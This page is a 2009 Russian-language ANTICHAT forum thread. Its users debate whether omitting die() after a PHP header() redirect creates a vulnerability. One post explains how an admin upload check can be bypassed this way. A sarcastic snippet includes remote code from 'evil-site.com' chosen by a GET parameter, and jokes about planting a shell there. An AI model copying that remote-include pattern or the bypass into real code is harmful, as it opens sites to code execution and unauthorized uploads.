HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 31.07.2009, 13:41
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию

 
Ответить с цитированием

  #42  
Старый 03.08.2009, 08:57
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

А зачем вообще die() после header() ?
Какая уязвимость может быть тут? Можно пример?
 
Ответить с цитированием

  #43  
Старый 03.08.2009, 12:51
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает ява скриптом на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку

Видимо Пашкела просто прочитал статью ничего не поняв и пытается доказать что в этом коде есть ужасная бага, т.к в данном скрипте ничего опасно нет, посты Пашкелы выглядят немного бредом.
Конечно не стоит забывать про особые обстоятельства

Последний раз редактировалось Spyder; 14.08.2009 в 03:25..
 
Ответить с цитированием

  #44  
Старый 03.08.2009, 13:14
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
С нами: 9328706

Репутация: 1503
По умолчанию

Ув.Spyder, готов с Вами подискутировать на эту тему!
А если будет листинг кода подобный этому?
PHP код:
switch($_GET['url'])
{
    case 
"test":
    
header("location:http://google.ru");
    include(
'http://evil-site.com/'.$_GET['url'].'.txt')
    break;
    case 
"test2":
    
header("location:http://yandex.ru");
    default:
    
header("location:http://google.ru?error");
    or die(
'Ошибон :D');
    break;

тогда этот буквально как решето!!! всего лишь нужно похекать сайт http://evil-site.com/, и залить туда шелл с именем test.txt и все!!! Мы похеканы! а вот был бы код такой :
PHP код:
   case "test":
    
header("location:http://google.ru"); 
    die();
    include(
'http://evil-site.com/'.$_GET['url'].'.txt')
    break; 
Мы бы были защищены! =)
Ты просто не знаешь особых условий, чтобы switch сделать инклудом
__________________

You may say I'm a dreamer
But I'm not the only one
 
Ответить с цитированием

  #45  
Старый 03.08.2009, 13:19
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

PHP код:
<?php
if(isset($_REQUEST['url'])) {
    switch(
$_REQUEST['url']]) {
        case 
'test':
            
header("Location: http://goggle.com");
            break;
        case 
'test2':
            
header("Location: http://yandex.ru");
            break;
        default:
            
header("Location: http://google.com/error");
            break;
    }
    exit;
}
?>
<form>
<input type="text" name="url">
<input type="submit">
</form>
 
Ответить с цитированием

  #46  
Старый 03.08.2009, 13:21
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

ебаный насос, да вы тут развели 5 страниц на 5 строк кода. даже не заметил.
 
Ответить с цитированием

  #47  
Старый 03.08.2009, 13:26
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

GreenBear, ппц, ты не в курсе что у тебя в коде 4 баги? Забыл что надо die() ставить? Вступай в наш фан-клуб, узнаешь как писать безопасный код
 
Ответить с цитированием

  #48  
Старый 03.08.2009, 13:28
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

:'(
 
Ответить с цитированием

  #49  
Старый 03.08.2009, 13:28
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от Spyder  
попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку
Да статью я читал и не раз.. но тем не менее не могу понять в чем уязвимость...

Вот например такой код из твоего примера...

PHP код:
if(!$logged){
header('location: url');
}else{
move_upload_file();

Какая тут уязвимость может быть?......
 
Ответить с цитированием

  #50  
Старый 03.08.2009, 13:29
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами: 11058146

Репутация: 4536


По умолчанию

попугай, вы тут все какую - то ересь несете ))
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] переход на страницу:) AdR3naL1ne PHP 8 15.06.2009 15:18



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.